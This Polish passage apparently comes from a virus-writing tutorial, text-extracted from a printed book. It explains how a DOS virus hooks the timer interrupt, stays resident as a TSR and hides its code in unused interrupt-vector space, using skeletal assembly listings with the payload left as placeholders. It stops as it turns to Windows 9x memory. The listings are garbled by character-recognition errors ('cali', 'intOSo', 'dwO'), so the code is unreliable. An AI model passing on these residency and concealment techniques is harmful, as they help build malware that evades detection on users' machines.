Ostatecznie dla należycie zorganizowanego umysłu śmierć to tylko początek nowej wielkiej przygody.
W systemie operacyjnym DOS kluczową rolę odgrywa system przerwań, bowiem dostęp do funkcji systemowej uzyskujemy przez wywołanie odpowiedniego przerwania, dlatego też głównym punktem 67 instalacji wirusa w systemie jest właśnie przejęcie przerwania. Poniżej zamieszczam sposób przejęcia przerwania 08h. Instalacja_w_systemie PROC mov ax,3508h int 21h ;odczytaj adres procedury obsługi przerwania 8h (zegarowe) mov int08o,bx mov int08s,es push es pop ds mov dx,offset obsluga_przerwania8h mov ax,2508h ;ustaw nowy adres procedury obsługi przerwania 8h int 21h ret Instalacja_w_systemie ENDP intOSo dwO intOSs dwO obsluga_przerwania8h PROC pushf cali dword ptr es: [intOSo] ;Wykonaj starą obsługę przerwania 8h [...] ;Kod wirusa iret obsluga_przerwania8h ENDP W powyższym przykładzie korzystaliśmy z dwóch funkcji systemowych 35h oraz 25h pobierających i zmieniających adres obsługi przerwania 8h. Istnieje również drugi sposób przejęcia przerwania - poprzez ingerencje bezpośrednio w tablicę wektorów przerwań. Tablica ta składa się z 256-ciu 4-bajtowych adresów. Adresy te pamiętane są w kolejności offset, segment. Poprzez zmianę tych wektorów mamy możliwość instalowania w systemie własnych procedur obsługi przerwań. Poniższy przykład zobrazuje ten sposób przejmowania: Instalacja_w_systemie PROC mov ax,0 mov es,ax cli mov di,4*8h mov ax,es:[di] ;ES:DI - adres miejsca w tablicy wektorów przerwań z adresem ;procedury obsługi przerwania 8h. mov int08o,ax mov ax,es:[di+2] mov int08s,ax ;Odczytaj stary adres obsługi przerwania mov ax,offset obsluga_przerwania8h stosw mov ax,seg obsluga_przerwania8h stosw ;Zmień adres obsługi przerwania 8h sti ret Instalacja_w_systemie ENDP intOSo dwO intOSs dwO 68 obsluga_przerwania8h PROC pushf cali dword ptr es: [intOSo] ;Wykonaj starą obsługę przerwania 8h [...] ;Kod wirusa iret obsluga_przerwania8h ENDP Po przejęciu odpowiedniego przerwania (podpięciu się pod funkcje systemowe) wirus musi stać się rezydentny. Jego kod musi zatem pozostać w pamięci. Innymi słowy wirus staje się programem typu TSR (Terminate & Stay Resident). Działanie takich programów składa się z trzech części. 1) Uruchomienie właściwego programu, który kończy działanie pozostając w pamięci 2) Sprawdzenie, czy został spełniony warunek jego wywołania (np. odpowiednia kombinacja klawiszy). 3) Część właściwa, wykonująca różne czynności usługowe. Oto przykład wirusa - TSR-a .MODEL TINY .CODE org lOOh start: jmp Install intOSo dwO intOSs dwO obsluga_przerwania8h PROC pushf cali dword ptr es: [intOSo] ;Wykonaj starą obsługę przerwania 8h [... ] ; Sprawdzenie warunków [... ] ;Właściwy kod wirusa iret obsluga_przerwania8h ENDP Install: [...] ;Sprawdź czy jest już wirus w pamięci mov ax,3508h int 21h ;odczytaj adres procedury obsługi przerwania 8h (zegarowe) mov int08o,bx mov int08s,es push es pop ds mov dx,offset obsluga_przerwania8h mov ax,2508h ;ustaw nowy adres procedury obsługi przerwania 8h int 21h mov dx,offset Install int 27h ;Zakończ proces zostawiając wszystko w pamięci przed etykietą Install (Terminate & Stay Resident) END start Po takiej instalacji w systemie operacyjnym kod wirusa będzie można bardzo łatwo wykryć, gdyż każdy proces istniejący w systemie dysponuje przydzielonym mu przez system obszarem pamięci operacyjnej. Każdy blok pamięci jest identyfikowany przez specjalną strukturę danych, tzw. nagłówek bloku pamięci 69 (nazywany też blokiem MCB od ang. memory control błock). Bloki pamięci tworzą łańcuch pokrywający całą pamięć operacyjną dostępną dla użytkownika. Nie jest to struktura listowa - położenie następnego bloku określa długość bloku bieżącego Format nagłówka bloku pamięci (MCB) Adres pola Długość pola Zawartość OOH 1 Znacznik typu bloku: 4Dh - dla bloku pośredniego 5 Ah - dla bloku końcowego 01H 2 Identyfikator procesu (PID) będącego "właścicielem" bloku pamięci, tzn. wskaźnik do bloku wstępnego programu (PSP); wskaźnik jest pusty w przypadku bloku wolnego 03H 2 Długość bloku w jednostkach 16-bajtowych (bez nagłówka) 05H 3 Zarezerwowane Poprzez analizę łańcucha MCB jesteśmy w stanie namierzyć każdy proces, który jest TSR-em. Wirus może stać się rezydentem wykorzystując puste miejsca systemowe. Jednym z nich jest tablica wektorów przerwań. Większość przerwań nie jest używana przez system operacyjny - skoro tak - to nic nie stoi na przeszkodzie aby wykorzystać przestrzeń adresową przeznaczoną na wektory do nieużywanych przerwań do innych celów (miejsca na segment danych wirusa lub tez na segment kodu wirusa). W miarę bezpiecznym obszarem jest obszar od adresu 0000:01EO (to jest adresu, w którym pamiętany jest wektor przerwania 78h) do adresu 0000:0400 (koniec tablicy wektorów przerwań). Daje nam to obszar 544 bajtów do wykorzystania na kod wirusa. tryb chroniony W punkcie tym postaramy się przedstawić metody instalacji wirusa w pamięci operacyjnej systemu Windows 9x.W tym celu musimy zapoznać się z mechanizmami obsługi pamięci systemu Windows 9x. System ten dysponuje sześcioma różnymi mechanizmami zarządzania pamięcią aplikacji 32bitowej. Wszystkie one zostały zaprojektowane tak, aby mogły być używane niezależnie. Wybór mechanizmu obsługi pamięci dla procesu zależy od tego, do jakich celów będziemy używali zaalokowaną pamięć. Na poniższym rysunku przedstawione zostały wspomniane mechanizmy